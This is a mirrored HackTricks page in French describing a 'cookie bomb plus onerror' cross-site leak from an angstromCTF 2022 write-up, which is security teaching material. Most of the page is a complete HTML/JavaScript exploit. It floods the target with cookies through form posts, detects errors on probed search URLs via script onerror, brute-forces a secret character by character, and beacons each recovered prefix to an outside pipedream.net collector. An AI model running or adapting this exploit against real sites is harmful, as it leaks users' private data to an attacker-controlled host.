mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
61 lines
2.0 KiB
Markdown
61 lines
2.0 KiB
Markdown
# Cookie Bomb + Onerror XS Leak
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
Le **script** suivant pris [**ici**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) exploite une fonctionnalité qui permet à l'utilisateur de **insérer n'importe quelle quantité de cookies**, puis de charger un fichier en tant que script en sachant que la véritable réponse sera plus grande que la fausse et ensuite. Si cela réussit, la réponse est une redirection avec une URL résultante plus longue, **trop grande pour être gérée par le serveur, donc renvoie un code d'état http d'erreur**. Si la recherche échoue, rien ne se passera car l'URL est courte.
|
|
```html
|
|
<>'";
|
|
<form action="https://sustenance.web.actf.co/s" method="POST">
|
|
<input id="f" /><input name="search" value="a" />
|
|
</form>
|
|
<script>
|
|
const $ = document.querySelector.bind(document)
|
|
const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
|
|
let i = 0
|
|
const stuff = async (len = 3500) => {
|
|
let name = Math.random()
|
|
$("form").target = name
|
|
let w = window.open("", name)
|
|
$("#f").value = "_".repeat(len)
|
|
$("#f").name = i++
|
|
$("form").submit()
|
|
await sleep(100)
|
|
}
|
|
const isError = async (url) => {
|
|
return new Promise((r) => {
|
|
let script = document.createElement("script")
|
|
script.src = url
|
|
script.onload = () => r(false)
|
|
script.onerror = () => r(true)
|
|
document.head.appendChild(script)
|
|
})
|
|
}
|
|
const search = (query) => {
|
|
return isError(
|
|
"https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query)
|
|
)
|
|
}
|
|
const alphabet =
|
|
"etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ"
|
|
const url = "//en4u1nbmyeahu.x.pipedream.net/"
|
|
let known = "actf{"
|
|
window.onload = async () => {
|
|
navigator.sendBeacon(url + "?load")
|
|
await Promise.all([stuff(), stuff(), stuff(), stuff()])
|
|
await stuff(1600)
|
|
navigator.sendBeacon(url + "?go")
|
|
while (true) {
|
|
for (let c of alphabet) {
|
|
let query = known + c
|
|
if (await search(query)) {
|
|
navigator.sendBeacon(url, query)
|
|
known += c
|
|
break
|
|
}
|
|
}
|
|
}
|
|
}
|
|
</script>
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|